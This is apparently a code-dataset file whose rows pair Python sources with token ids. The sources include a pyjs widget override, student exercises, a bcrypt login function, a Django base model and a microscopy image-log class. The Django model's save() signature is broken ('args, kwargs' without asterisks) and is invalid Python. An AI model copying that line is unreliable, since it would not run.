pyjswidgets/pyjamas/ui/GlassWidget.ie6.py	takipsizad/pyjs	739	123953	# Copyright 2006 <NAME> and contributors # Copyright (C) 2009 <NAME> <<EMAIL>> # Copyright (C) 2010 <NAME> <<EMAIL>> # Copyright (C) 2010 <NAME> (IE override) <<EMAIL>> # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # This IE-specific override is required because IE doesn't allow # empty element to generate events. Therefore, when the mouse moves # (or clicks) happen over only the GlassWidget (which is empty) # they stop flowing. however, IE does provide setCapture/releaseCapture # methods on elements which can be used to same effect as a regular # GlassWidget. # This file implements the IE version of GlassWidget simply by mapping # the GlassWidget API to the use of setCapture/releaseCapture # we re-use the global 'mousecapturer' to prevent GlassWidget.hide() # from releasing someone else's capture def show(mousetarget, **kwargs): global mousecapturer # get the element that wants events target_element = mousetarget.getElement() # insure element can capture events if hasattr(target_element,"setCapture"): # remember it mousecapturer = target_element # start capturing DOM.setCapture(target_element) def hide(): global mousecapturer if hasattr(mousecapturer,"releaseCapture"): DOM.releaseCapture(mousecapturer) mousecapturer = None	[ 1, 396, 14187, 1266, 29871, 29906, 29900, 29900, 29953, 529, 5813, 29958, 322, 17737, 29560, 13, 29937, 14187, 1266, 313, 29907, 29897, 29871, 29906, 29900, 29900, 29929, 529, 5813, 29958, 3532, 26862, 6227, 6778, 13, 29937, 14187, 1266, 313, 29907, 29897, 29871, 29906, 29900, 29896, 29900, 529, 5813, 29958, 3532, 26862, 6227, 6778, 13, 29937, 14187, 1266, 313, 29907, 29897, 29871, 29906, 29900, 29896, 29900, 529, 5813, 29958, 313, 8673, 5712, 29897, 3532, 26862, 6227, 6778, 13, 29937, 13, 29937, 10413, 21144, 1090, 278, 13380, 19245, 29892, 10079, 29871, 29906, 29889, 29900, 313, 1552, 376, 29931, 293, 1947, 1496, 13, 29937, 366, 1122, 451, 671, 445, 934, 5174, 297, 752, 13036, 411, 278, 19245, 29889, 13, 29937, 887, 1122, 4017, 263, 3509, 310, 278, 19245, 472, 13, 29937, 13, 29937, 268, 1732, 597, 1636, 29889, 4288, 29889, 990, 29914, 506, 11259, 29914, 27888, 1430, 1660, 29899, 29906, 29889, 29900, 13, 29937, 13, 29937, 25870, 3734, 491, 22903, 4307, 470, 15502, 304, 297, 5007, 29892, 7047, 13, 29937, 13235, 1090, 278, 19245, 338, 13235, 373, 385, 376, 3289, 8519, 29908, 350, 3289, 3235, 29892, 13, 29937, 399, 1806, 8187, 2692, 399, 1718, 29934, 13566, 29059, 6323, 8707, 29928, 22122, 29903, 8079, 13764, 29979, 476, 22255, 29892, 2845, 4653, 470, 2411, 2957, 29889, 13, 29937, 2823, 278, 19245, 363, 278, 2702, 4086, 14765, 1076, 11239, 322, 13, 29937, 27028, 1090, 278, 19245, 29889, 13, 13, 29937, 910, 7159, 29899, 14940, 5712, 338, 3734, 1363, 7159, 1838, 29915, 29873, 2758, 13, 29937, 4069, 1543, 304, 5706, 4959, 29889, 7857, 29892, 746, 278, 9495, 16229, 13, 29937, 313, 272, 19367, 29897, 3799, 975, 334, 6194, 29930, 278, 402, 605, 8801, 313, 4716, 338, 4069, 29897, 13, 29937, 896, 5040, 4972, 292, 29889, 3138, 29892, 7159, 947, 3867, 731, 21133, 545, 29914, 14096, 21133, 545, 13, 29937, 3519, 373, 3161, 607, 508, 367, 1304, 304, 1021, 2779, 408, 263, 4943, 13, 29937, 402, 605, 8801, 29889, 13, 13, 29937, 910, 934, 10703, 278, 7159, 1873, 310, 402, 605, 8801, 3763, 491, 10417, 13, 29937, 278, 402, 605, 8801, 3450, 304, 278, 671, 310, 731, 21133, 545, 29914, 14096, 21133, 545, 13, 13, 29937, 591, 337, 29899, 1509, 278, 5534, 525, 15769, 17885, 9945, 29915, 304, 5557, 402, 605, 8801, 29889, 11458, 580, 13, 29937, 515, 337, 280, 5832, 4856, 1683, 29915, 29879, 10446, 13, 13, 1753, 1510, 29898, 29885, 681, 300, 2097, 29892, 3579, 19290, 1125, 13, 1678, 5534, 9495, 17885, 9945, 13, 1678, 396, 679, 278, 1543, 393, 10753, 4959, 13, 1678, 3646, 29918, 5029, 353, 286, 681, 300, 2097, 29889, 6014, 580, 13, 1678, 396, 1663, 545, 1543, 508, 10446, 4959, 13, 1678, 565, 756, 5552, 29898, 5182, 29918, 5029, 1699, 842, 21133, 545, 29908, 1125, 13, 4706, 396, 6456, 372, 13, 4706, 9495, 17885, 9945, 353, 3646, 29918, 5029, 13, 4706, 396, 1369, 4332, 3864, 13, 4706, 12369, 29889, 842, 21133, 545, 29898, 5182, 29918, 5029, 29897, 13, 13, 1753, 9563, 7295, 13, 1678, 5534, 9495, 17885, 9945, 13, 1678, 565, 756, 5552, 29898, 15769, 17885, 9945, 1699, 14096, 21133, 545, 29908, 1125, 13, 4706, 12369, 29889, 14096, 21133, 545, 29898, 15769, 17885, 9945, 29897, 13, 1678, 9495, 17885, 9945, 353, 6213, 13, 2 ]
Python Data Structures/Problem Set 10.py	Karoline0097/University-of-Michigan-Python-for-Everybody	0	123925	## Problem 10.2 # write a program to read through the mbox-short.txt # and figure out the distribution by hour of the day for each of the messages. file_name = input("Enter file:") file_handle = open(file_name) hour_list = list() for line in file_handle: # pull the hour out from the 'From ' line # From <EMAIL> Sat Jan 5 09:14:16 2008 if line.startswith("From"): line_list = line.split() if len(line_list) > 2: # find the time and then split the string a second time hour = line_list[5][:2] hour_list.append(hour) # accumulate the counts for each hour hour_dict = dict() for key in hour_list: hour_dict[key] = hour_dict.get(key, 0) + 1 # sort by hour srt_list = sorted(hour_dict.items()) # print out the counts, sorted by hour for (k,v) in srt_list: print (k,v)	[ 1, 444, 11583, 29871, 29896, 29900, 29889, 29906, 13, 29937, 2436, 263, 1824, 304, 1303, 1549, 278, 286, 1884, 29899, 12759, 29889, 3945, 13, 29937, 322, 4377, 714, 278, 4978, 491, 7234, 310, 278, 2462, 363, 1269, 310, 278, 7191, 29889, 13, 13, 1445, 29918, 978, 353, 1881, 703, 10399, 934, 29901, 1159, 13, 1445, 29918, 8411, 353, 1722, 29898, 1445, 29918, 978, 29897, 13, 13, 18721, 29918, 1761, 353, 1051, 580, 13, 1454, 1196, 297, 934, 29918, 8411, 29901, 13, 1678, 396, 8206, 278, 7234, 714, 515, 278, 525, 4591, 525, 1196, 13, 1678, 396, 3645, 529, 26862, 6227, 29958, 12178, 2627, 259, 29945, 29871, 29900, 29929, 29901, 29896, 29946, 29901, 29896, 29953, 29871, 29906, 29900, 29900, 29947, 13, 1678, 565, 1196, 29889, 27382, 2541, 703, 4591, 29908, 1125, 13, 4706, 1196, 29918, 1761, 353, 1196, 29889, 5451, 580, 13, 4706, 565, 7431, 29898, 1220, 29918, 1761, 29897, 1405, 29871, 29906, 29901, 13, 9651, 396, 1284, 278, 931, 322, 769, 6219, 278, 1347, 263, 1473, 931, 13, 9651, 7234, 353, 1196, 29918, 1761, 29961, 29945, 3816, 29901, 29906, 29962, 13, 9651, 7234, 29918, 1761, 29889, 4397, 29898, 18721, 29897, 13, 13, 29937, 18414, 5987, 278, 18139, 363, 1269, 7234, 13, 18721, 29918, 8977, 353, 9657, 580, 13, 1454, 1820, 297, 7234, 29918, 1761, 29901, 13, 1678, 7234, 29918, 8977, 29961, 1989, 29962, 353, 7234, 29918, 8977, 29889, 657, 29898, 1989, 29892, 29871, 29900, 29897, 718, 29871, 29896, 13, 13, 29937, 2656, 491, 7234, 13, 29879, 2273, 29918, 1761, 353, 12705, 29898, 18721, 29918, 8977, 29889, 7076, 3101, 13, 13, 29937, 1596, 714, 278, 18139, 29892, 12705, 491, 7234, 13, 1454, 313, 29895, 29892, 29894, 29897, 297, 269, 2273, 29918, 1761, 29901, 13, 1678, 1596, 313, 29895, 29892, 29894, 29897, 2 ]
lab/hw03-part-i_nov14.py	jzacsh/neuralnets-cmp464	1	1741	<reponame>jzacsh/neuralnets-cmp464<gh_stars>1-10 """ <NAME> solution to homework #3, Nov 14., Part I """ # Per homework instructions, following lead from matlab example by professor: # http://comet.lehman.cuny.edu/schneider/Fall17/CMP464/Maple/PartialDerivatives1.pdf import sys import tensorflow as tf import tempfile import os import numpy as np os.environ['TF_CPP_MIN_LOG_LEVEL']='2' # not really doing intersting things in this lab, so just ignore optimization class Differentiable: """ encapsulation of a function and its derivative """ def __init__(self, label, f, d): self.func = f self.deriv = d self.func.name = label self.deriv.name = "%sDeriv" % label # g(x) = x^4+2x-7 ; per matlab example # g'(x) = 4x^3+2 fExFourth = Differentiable("fExFourth", lambda x: tf.add_n([tf.pow(x, 4), tf.multiply(2, x), -7]), lambda x: tf.add_n([tf.multiply(4, tf.pow(x, 3)), 2])) tFofTwo = fExFourth.func(2) tFofDerivTwo = fExFourth.deriv(2) log_dir = tempfile.mkdtemp(prefix="hw3-nov14-parti") print(log_dir) with tf.Session() as sess: writer = tf.summary.FileWriter(log_dir, sess.graph) fOfTwo, fDerivOfTwo = results = sess.run([tFofTwo, tFofDerivTwo]) sys.stderr.write("results:\n\tf(2)=%s\n\tf'(2)=%s\n" % (fOfTwo, fDerivOfTwo)) # note: only needed when doing a loop of sess.run() calls, and want to see # intermediary results per-loop. #writer.add_summary(results) writer.flush() writer.close()	[ 1, 529, 276, 1112, 420, 29958, 29926, 29920, 562, 845, 29914, 484, 3631, 1212, 29879, 29899, 21058, 29946, 29953, 29946, 29966, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 15945, 29908, 13, 29966, 5813, 29958, 1650, 304, 3271, 1287, 396, 29941, 29892, 2864, 29871, 29896, 29946, 1696, 3455, 306, 13, 15945, 29908, 13, 29937, 2431, 3271, 1287, 11994, 29892, 1494, 3275, 515, 1775, 8205, 1342, 491, 12251, 29901, 13, 29937, 259, 1732, 597, 510, 300, 29889, 280, 29882, 1171, 29889, 29883, 348, 29891, 29889, 6085, 29914, 816, 484, 1241, 29914, 29943, 497, 29896, 29955, 29914, 29907, 3580, 29946, 29953, 29946, 29914, 3388, 280, 29914, 7439, 616, 15383, 440, 5056, 29896, 29889, 5140, 13, 5215, 10876, 13, 5215, 26110, 408, 15886, 13, 5215, 5694, 1445, 13, 5215, 2897, 13, 5215, 12655, 408, 7442, 13, 13, 359, 29889, 21813, 1839, 8969, 29918, 6271, 29925, 29918, 16173, 29918, 14480, 29918, 1307, 29963, 6670, 2033, 2433, 29906, 29915, 13, 29937, 451, 2289, 2599, 1006, 303, 292, 2712, 297, 445, 9775, 29892, 577, 925, 11455, 13883, 13, 13, 1990, 360, 8349, 7268, 519, 29901, 13, 1678, 9995, 2094, 2547, 2785, 310, 263, 740, 322, 967, 16291, 9995, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 3858, 29892, 285, 29892, 270, 1125, 13, 4706, 1583, 29889, 9891, 353, 285, 13, 4706, 1583, 29889, 672, 440, 353, 270, 13, 4706, 1583, 29889, 9891, 29889, 978, 353, 3858, 13, 4706, 1583, 29889, 672, 440, 29889, 978, 353, 11860, 29879, 15383, 440, 29908, 1273, 3858, 13, 13, 29937, 330, 29898, 29916, 29897, 353, 921, 29985, 29946, 29974, 29906, 29916, 29899, 29955, 2056, 639, 1775, 8205, 1342, 13, 29937, 330, 12215, 29916, 29897, 353, 29871, 29946, 29916, 29985, 29941, 29974, 29906, 13, 29888, 1252, 29943, 473, 386, 353, 360, 8349, 7268, 519, 703, 29888, 1252, 29943, 473, 386, 613, 13, 4706, 14013, 921, 29901, 15886, 29889, 1202, 29918, 29876, 4197, 13264, 29889, 12248, 29898, 29916, 29892, 29871, 29946, 511, 15886, 29889, 18056, 368, 29898, 29906, 29892, 921, 511, 448, 29955, 11724, 13, 4706, 14013, 921, 29901, 15886, 29889, 1202, 29918, 29876, 4197, 13264, 29889, 18056, 368, 29898, 29946, 29892, 15886, 29889, 12248, 29898, 29916, 29892, 29871, 29941, 8243, 29871, 29906, 12622, 13, 13, 29873, 29943, 974, 13985, 353, 285, 1252, 29943, 473, 386, 29889, 9891, 29898, 29906, 29897, 13, 29873, 29943, 974, 15383, 440, 13985, 353, 285, 1252, 29943, 473, 386, 29889, 672, 440, 29898, 29906, 29897, 13, 13, 1188, 29918, 3972, 353, 5694, 1445, 29889, 11256, 29881, 7382, 29898, 13506, 543, 26828, 29941, 29899, 13715, 29896, 29946, 29899, 1595, 29875, 1159, 13, 2158, 29898, 1188, 29918, 3972, 29897, 13, 2541, 15886, 29889, 7317, 580, 408, 27937, 29901, 13, 1678, 9227, 353, 15886, 29889, 7727, 29889, 2283, 10507, 29898, 1188, 29918, 3972, 29892, 27937, 29889, 4262, 29897, 13, 13, 1678, 285, 2776, 13985, 29892, 285, 15383, 440, 2776, 13985, 353, 2582, 353, 27937, 29889, 3389, 4197, 29873, 29943, 974, 13985, 29892, 260, 29943, 974, 15383, 440, 13985, 2314, 13, 1678, 10876, 29889, 303, 20405, 29889, 3539, 703, 9902, 3583, 29876, 29905, 13264, 29898, 29906, 3892, 29995, 29879, 29905, 29876, 29905, 13264, 12215, 29906, 3892, 29995, 29879, 29905, 29876, 29908, 1273, 313, 29888, 2776, 13985, 29892, 285, 15383, 440, 2776, 13985, 876, 13, 13, 1678, 396, 4443, 29901, 871, 4312, 746, 2599, 263, 334, 7888, 29930, 310, 27937, 29889, 3389, 580, 5717, 29892, 322, 864, 304, 1074, 13, 1678, 396, 1006, 4210, 653, 2582, 639, 29899, 7888, 29889, 13, 1678, 396, 13236, 29889, 1202, 29918, 7727, 29898, 9902, 29897, 13, 13, 1678, 9227, 29889, 23126, 580, 13, 1678, 9227, 29889, 5358, 580, 13, 2 ]
application/src/database_manager/authenticate_user.py	eyardley/CSC648-SoftwareEngineering-Snapster	0	178106	<filename>application/src/database_manager/authenticate_user.py import bcrypt import base64 import hashlib import mysql.connector def authenticate_user(username, password_plain, db): user_authentication_query = ("SELECT user_id, username, password FROM user WHERE username=%s") # query the database for the record of the user try: db.query(user_authentication_query, (username,)) except mysql.connector.Error as err: # print("Internal server error with database: {}".format(err)) # FIXME: log this potentially fatal error # TODO: what other errors could occur with the connection object? error_message = { 'status': 'database_error', 'message': 'Internal database error: {}'.format(err) } return error_message if db.get_row_count() == 0: # the user entered the incorrect username success_message = { 'status': 'success', 'login': 'failed', } # print('Unsuccessful login attempt by user {}'.format(user_id)) return success_message # examine the returned record to validate the user entered credentials for (user_id, username, password) in db.fetchall(): password_entered = password_plain.encode('utf-8') # encode the plain text password entered by the user # apply bcrypt on entered password and compare with value in database if bcrypt.checkpw(base64.b64encode(hashlib.sha256(password_entered).digest()), password.encode('utf-8')): # password is a match, login was successful # success_message = generate_session(user_id, r) success_message = { 'status': 'success', 'login': 'success', 'user_id': user_id } return success_message else: # the user entered the incorrect password success_message = { 'status': 'success', 'login': 'failed', } # print('Unsuccessful login attempt by user {}'.format(user_id)) return success_message	[ 1, 529, 9507, 29958, 6214, 29914, 4351, 29914, 9803, 29918, 12847, 29914, 27218, 403, 29918, 1792, 29889, 2272, 13, 5215, 289, 29883, 4641, 13, 5215, 2967, 29953, 29946, 13, 5215, 6608, 1982, 13, 5215, 5749, 29889, 11958, 2801, 13, 13, 1753, 15585, 403, 29918, 1792, 29898, 6786, 29892, 4800, 29918, 24595, 29892, 4833, 1125, 13, 1678, 1404, 29918, 23055, 29918, 1972, 353, 4852, 6404, 1404, 29918, 333, 29892, 8952, 29892, 4800, 3895, 1404, 5754, 8952, 16328, 29879, 1159, 13, 13, 1678, 396, 2346, 278, 2566, 363, 278, 2407, 310, 278, 1404, 13, 1678, 1018, 29901, 13, 4706, 4833, 29889, 1972, 29898, 1792, 29918, 23055, 29918, 1972, 29892, 313, 6786, 29892, 876, 13, 1678, 5174, 5749, 29889, 11958, 2801, 29889, 2392, 408, 4589, 29901, 13, 4706, 396, 1596, 703, 16491, 1923, 1059, 411, 2566, 29901, 6571, 1642, 4830, 29898, 3127, 876, 13, 4706, 396, 383, 6415, 2303, 29901, 1480, 445, 19998, 18409, 1059, 13, 4706, 396, 14402, 29901, 825, 916, 4436, 1033, 6403, 411, 278, 3957, 1203, 29973, 13, 4706, 1059, 29918, 4906, 353, 426, 13, 9651, 525, 4882, 2396, 525, 9803, 29918, 2704, 742, 13, 9651, 525, 4906, 2396, 525, 16491, 2566, 1059, 29901, 6571, 4286, 4830, 29898, 3127, 29897, 13, 4706, 500, 13, 4706, 736, 1059, 29918, 4906, 13, 13, 1678, 565, 4833, 29889, 657, 29918, 798, 29918, 2798, 580, 1275, 29871, 29900, 29901, 13, 4706, 396, 278, 1404, 7802, 278, 10240, 8952, 13, 4706, 2551, 29918, 4906, 353, 426, 13, 9651, 525, 4882, 2396, 525, 8698, 742, 13, 9651, 525, 7507, 2396, 525, 26061, 742, 13, 4706, 500, 13, 4706, 396, 1596, 877, 25807, 29884, 1676, 1319, 6464, 4218, 491, 1404, 6571, 4286, 4830, 29898, 1792, 29918, 333, 876, 13, 4706, 736, 2551, 29918, 4906, 13, 13, 13, 1678, 396, 25917, 278, 4133, 2407, 304, 12725, 278, 1404, 7802, 16140, 13, 13, 1678, 363, 313, 1792, 29918, 333, 29892, 8952, 29892, 4800, 29897, 297, 4833, 29889, 9155, 497, 7295, 13, 13, 4706, 4800, 29918, 5893, 287, 353, 4800, 29918, 24595, 29889, 12508, 877, 9420, 29899, 29947, 1495, 29871, 396, 19750, 278, 8656, 1426, 4800, 7802, 491, 278, 1404, 13, 13, 4706, 396, 3394, 289, 29883, 4641, 373, 7802, 4800, 322, 7252, 411, 995, 297, 2566, 13, 4706, 565, 289, 29883, 4641, 29889, 3198, 29886, 29893, 29898, 3188, 29953, 29946, 29889, 29890, 29953, 29946, 12508, 29898, 8568, 1982, 29889, 17051, 29906, 29945, 29953, 29898, 5630, 29918, 5893, 287, 467, 7501, 342, 25739, 4800, 29889, 12508, 877, 9420, 29899, 29947, 8785, 29901, 13, 9651, 396, 4800, 338, 263, 1993, 29892, 6464, 471, 9150, 13, 9651, 396, 2551, 29918, 4906, 353, 5706, 29918, 7924, 29898, 1792, 29918, 333, 29892, 364, 29897, 13, 9651, 2551, 29918, 4906, 353, 426, 13, 18884, 525, 4882, 2396, 525, 8698, 742, 13, 18884, 525, 7507, 2396, 525, 8698, 742, 13, 18884, 525, 1792, 29918, 333, 2396, 1404, 29918, 333, 13, 9651, 500, 13, 9651, 736, 2551, 29918, 4906, 13, 4706, 1683, 29901, 13, 9651, 396, 278, 1404, 7802, 278, 10240, 4800, 13, 9651, 2551, 29918, 4906, 353, 426, 13, 18884, 525, 4882, 2396, 525, 8698, 742, 13, 18884, 525, 7507, 2396, 525, 26061, 742, 13, 9651, 500, 13, 9651, 396, 1596, 877, 25807, 29884, 1676, 1319, 6464, 4218, 491, 1404, 6571, 4286, 4830, 29898, 1792, 29918, 333, 876, 13, 9651, 736, 2551, 29918, 4906, 13, 2 ]
helpers/db_helper.py	funsojoba/davent	0	1602155	import uuid from django.db import models def generate_id(): return uuid.uuid4().hex class BaseAbstractModel(models.Model): id = models.CharField( primary_key=True, editable=False, default=generate_id, max_length=70 ) created_at = models.DateTimeField(auto_now_add=True) updated_at = models.DateTimeField(auto_now=True) created_by = models.ForeignKey( "authentication.User", on_delete=models.CASCADE, verbose_name="created by", related_name="+", null=True, blank=True, ) updated_by = models.ForeignKey( "authentication.User", on_delete=models.CASCADE, verbose_name="updated by", related_name="+", null=True, blank=True, ) deleted_by = models.ForeignKey( "authentication.User", on_delete=models.CASCADE, verbose_name="deleted by", related_name="+", null=True, blank=True, ) class Meta: abstract = True ordering = ("-created_at",) def save(self, actor=None, args, kwargs): if not self.pk: self.created_by = actor super(BaseAbstractModel, self).save(args, **kwargs)	[ 1, 1053, 318, 5416, 13, 3166, 9557, 29889, 2585, 1053, 4733, 13, 13, 13, 1753, 5706, 29918, 333, 7295, 13, 1678, 736, 318, 5416, 29889, 25118, 29946, 2141, 20970, 13, 13, 13, 1990, 7399, 9118, 3195, 29898, 9794, 29889, 3195, 1125, 13, 1678, 1178, 353, 4733, 29889, 27890, 29898, 13, 4706, 7601, 29918, 1989, 29922, 5574, 29892, 3863, 519, 29922, 8824, 29892, 2322, 29922, 17158, 29918, 333, 29892, 4236, 29918, 2848, 29922, 29955, 29900, 13, 1678, 1723, 13, 1678, 2825, 29918, 271, 353, 4733, 29889, 11384, 3073, 29898, 6921, 29918, 3707, 29918, 1202, 29922, 5574, 29897, 13, 1678, 4784, 29918, 271, 353, 4733, 29889, 11384, 3073, 29898, 6921, 29918, 3707, 29922, 5574, 29897, 13, 13, 1678, 2825, 29918, 1609, 353, 4733, 29889, 27755, 2558, 29898, 13, 4706, 376, 23055, 29889, 2659, 613, 13, 4706, 373, 29918, 8143, 29922, 9794, 29889, 29907, 3289, 5454, 2287, 29892, 13, 4706, 26952, 29918, 978, 543, 11600, 491, 613, 13, 4706, 4475, 29918, 978, 543, 29974, 613, 13, 4706, 1870, 29922, 5574, 29892, 13, 4706, 9654, 29922, 5574, 29892, 13, 1678, 1723, 13, 13, 1678, 4784, 29918, 1609, 353, 4733, 29889, 27755, 2558, 29898, 13, 4706, 376, 23055, 29889, 2659, 613, 13, 4706, 373, 29918, 8143, 29922, 9794, 29889, 29907, 3289, 5454, 2287, 29892, 13, 4706, 26952, 29918, 978, 543, 21402, 491, 613, 13, 4706, 4475, 29918, 978, 543, 29974, 613, 13, 4706, 1870, 29922, 5574, 29892, 13, 4706, 9654, 29922, 5574, 29892, 13, 1678, 1723, 13, 13, 1678, 11132, 29918, 1609, 353, 4733, 29889, 27755, 2558, 29898, 13, 4706, 376, 23055, 29889, 2659, 613, 13, 4706, 373, 29918, 8143, 29922, 9794, 29889, 29907, 3289, 5454, 2287, 29892, 13, 4706, 26952, 29918, 978, 543, 311, 22742, 491, 613, 13, 4706, 4475, 29918, 978, 543, 29974, 613, 13, 4706, 1870, 29922, 5574, 29892, 13, 4706, 9654, 29922, 5574, 29892, 13, 1678, 1723, 13, 13, 1678, 770, 20553, 29901, 13, 4706, 9846, 353, 5852, 13, 4706, 20520, 353, 4852, 29899, 11600, 29918, 271, 613, 29897, 13, 13, 1678, 822, 4078, 29898, 1311, 29892, 11339, 29922, 8516, 29892, 334, 5085, 29892, 3579, 19290, 1125, 13, 4706, 565, 451, 1583, 29889, 20571, 29901, 13, 9651, 1583, 29889, 11600, 29918, 1609, 353, 11339, 13, 4706, 2428, 29898, 5160, 9118, 3195, 29892, 1583, 467, 7620, 10456, 5085, 29892, 3579, 19290, 29897, 13, 2 ]
imlib/imglog.py	sungcheolkim78/py_imlib	0	62170	""" imgLog.py - experimental log for imgFolder initial: 2019-10-04 """ import os import pandas as pd if ('np' not in dir()): import numpy as np from imlib.imgfolder import ImgFolder __author__ = '<NAME> <<EMAIL>>' __version__ = '1.0.0' class ImgLog(ImgFolder): """ imgFolder for channel experiment images """ def __init__(self, dirname, sort=False, debug=False): """ initialization """ super().__init__(dirname, sort=sort, debug=debug) self._logfname = dirname + '/log.xlsx' if not self.loadLog(): self._data['wall1'] = self._image._meta['wall1'] self._data['wall2'] = self._image._meta['wall2'] self._data['isChannel'] = False self._data['range1'] = self._image._meta['range1'] self._data['range2'] = self._image._meta['range2'] self._data['hasRange'] = False self._data['fangle'] = 0. # frame angle self._data['mangle'] = 0. # migration angle self._data['p'] = 0. # pressure self._data['u'] = 0. # longitudinal velocity self._data['mag'] = '40x' # magnification self._data['filter'] = '' # filter self._data['exp'] = 0. # exposure self._data['location'] = '' # location self._data['D'] = 0. # diffusion constant self._data['Pe'] = 0. # Peclet number self._data = self._data.astype( {'D':'float', 'Pe':'float', 'mangle':'float', 'hasRange':'bool', 'isChannel':'bool', 'exp':'float', 'range1':'int', 'range2':'int', 'wall1':'int', 'wall2':'int'}) def __repr__(self): """ show print out message """ msg = super().__repr__() return msg def __getitem__(self, fileID): self._image = super().__getitem__(fileID) p = self._data.at[fileID, 'p'] if isinstance(p, str) and (p.find(',') > -1): p = float(p.replace(',', '.')) self._data.at[fileID, 'p'] = p if isinstance(p, float) or isinstance(p, np.int64): u = 143.9518*p + 44.0784 # TODO in case of condenser chip self._data.at[fileID, 'u'] = u if self._debug: print('... (p, u) = {}, {}'.format(p, u)) self._data.at[fileID, 'exp'] = self._image._meta['exposuretime'] self._image.set_expInfo(magnification=self._data.at[fileID, 'mag'], velocity=self._data.at[fileID, 'u'], p=p, fangle=self._data.at[fileID, 'fangle']) return self._image # manage log excel sheet def saveLog(self): """ save log sheet """ with pd.ExcelWriter(self._logfname) as writer: if self._debug: print('... save to {}'.format(self._logfname)) self._data.to_excel(writer) def loadLog(self): """ load log sheet """ if os.path.isfile(self._logfname): if self._debug: print('... load from {}'.format(self._logfname)) self._data = pd.read_excel(self._logfname, index_col=0) return True else: return False # image analysis def set_log(self, colname, values, ranges=[]): """ set log values for specific colname """ if len(ranges) == 0: ranges = range(len(self._data)) for i in ranges: self._data.at[i, colname] = values if self._debug: print('{}: [{}] - {}'.format(i, colname, values)) def detect_channel(self, fileID=-1, show=True): """ find wall information and save in object """ if fileID > -1: self._image = self.getfile(fileID) res = self._image.detect_channel(show=show) if len(res) > 3: self._data.at[self._curidx, 'range1'] = res[2] self._data.at[self._curidx, 'range2'] = res[3] self._data.at[self._curidx, 'hasRange'] = True if len(res) > 1: self._data.at[self._curidx, 'wall1'] = res[0] self._data.at[self._curidx, 'wall2'] = res[1] self._data.at[self._curidx, 'isChannel'] = True if len(res) == 1: self._data.at[self._curidx, 'isChannel'] = False return res def analysis_10x(self, fileID, bfileID=-1, wallinfo=[], p=-1, method='gaussian', update=True, padding=0): """ find angle and diffusion constant in 10x flu. and bright field images """ angle = 0.0 if p > -1: self._data.at[self._curidx, 'p'] = p if len(wallinfo) == 4: self._data.loc[fileID, ['wall1', 'wall2', 'range1', 'range2']] = wallinfo print('... fileID: [{}] use wallinfo: {}, ranges: {}'.format(fileID, wallinfo[:2], wallinfo[2:])) else: if bfileID > -1: wallinfo = self.detect_channel(fileID=bfileID) wallinfo[0] = wallinfo[0] + padding wallinfo[1] = wallinfo[1] - padding if len(wallinfo) == 3: self._data.loc[fileID, ['wall1', 'wall2', 'range1']] = wallinfo elif len(wallinfo) == 4: self._data.loc[fileID, ['wall1', 'wall2', 'range1', 'range2']] = wallinfo else: print('... no wall. Is this [{}] correct image?'.format(bfileID)) return img = self.__getitem__(bfileID) angle = img.detect_angles(show=False) print('... fileID: [{}] use wallinfo: {}, ranges: {}, frame angle: {}'.format(fileID, wallinfo[:2], wallinfo[2:], angle)) # set image information self._image = self.__getitem__(fileID) self._image.set_wallinfo(self._data.loc[fileID, ['wall1', 'wall2', 'range1', 'range2']]) self._image.set_expInfo(magnification=self._data.at[fileID, 'mag'], velocity=self._data.at[fileID, 'u'], p=self._data.at[fileID, 'p'], fangle=self._data.at[fileID, 'fangle']) # calculate peak positions self._image.fitlines_x(method=method, update=update) self._image.showfit_sigmas() self._image.showfit_angles() # save results self._data.at[fileID, 'mangle'] = self._image._meta['mangle'] self._data.at[fileID, 'D'] = self._image._meta['D'] self._data.at[fileID, 'Pe'] = self._image._meta['Pe'] if angle > 0: self._data.at[fileID, 'fangle'] = angle def analysis_all(self, blist, flist, method='gaussian', update=False): """ analaysis migration angle of files in flist with wall info from blist """ if isinstance(blist, int): blist = np.zeros_like(np.array(flist)) + blist for i in range(len(flist)): self.analysis_10x(flist[i], bfileID=blist[i], padding=5, update=update, method=method) self.saveLog() def showinfo(self, colname='mag', condition='10x'): """ show panda data with condition """ return self._data[self._data[colname] == condition] # vim:foldmethod=indent:foldlevel=0	[ 1, 9995, 13, 2492, 3403, 29889, 2272, 448, 17986, 1480, 363, 10153, 12924, 13, 13, 11228, 29901, 29871, 29906, 29900, 29896, 29929, 29899, 29896, 29900, 29899, 29900, 29946, 13, 15945, 29908, 13, 13, 5215, 2897, 13, 5215, 11701, 408, 10518, 13, 13, 361, 6702, 9302, 29915, 451, 297, 4516, 580, 1125, 1053, 12655, 408, 7442, 13, 13, 3166, 527, 1982, 29889, 2492, 12083, 1053, 1954, 29887, 12924, 13, 13, 1649, 8921, 1649, 353, 12801, 5813, 29958, 3532, 26862, 6227, 6778, 29915, 13, 1649, 3259, 1649, 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822, 2254, 3403, 29898, 1311, 1125, 13, 4706, 9995, 2254, 1480, 9869, 9995, 13, 13, 4706, 565, 2897, 29889, 2084, 29889, 275, 1445, 29898, 1311, 3032, 1188, 29888, 978, 1125, 13, 9651, 565, 1583, 3032, 8382, 29901, 1596, 877, 856, 2254, 515, 6571, 4286, 4830, 29898, 1311, 3032, 1188, 29888, 978, 876, 13, 9651, 1583, 3032, 1272, 353, 10518, 29889, 949, 29918, 24633, 29898, 1311, 3032, 1188, 29888, 978, 29892, 2380, 29918, 1054, 29922, 29900, 29897, 13, 9651, 736, 5852, 13, 4706, 1683, 29901, 13, 9651, 736, 7700, 13, 13, 1678, 396, 1967, 7418, 13, 1678, 822, 731, 29918, 1188, 29898, 1311, 29892, 784, 978, 29892, 1819, 29892, 20238, 29922, 2636, 1125, 13, 4706, 9995, 731, 1480, 1819, 363, 2702, 784, 978, 9995, 13, 13, 4706, 565, 7431, 29898, 29878, 6916, 29897, 1275, 29871, 29900, 29901, 13, 9651, 20238, 353, 3464, 29898, 2435, 29898, 1311, 3032, 1272, 876, 13, 4706, 363, 474, 297, 20238, 29901, 13, 9651, 1583, 3032, 1272, 29889, 271, 29961, 29875, 29892, 784, 978, 29962, 353, 1819, 13, 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examples/wagsley/wagsley/urls.py	Blogsley/blogsley	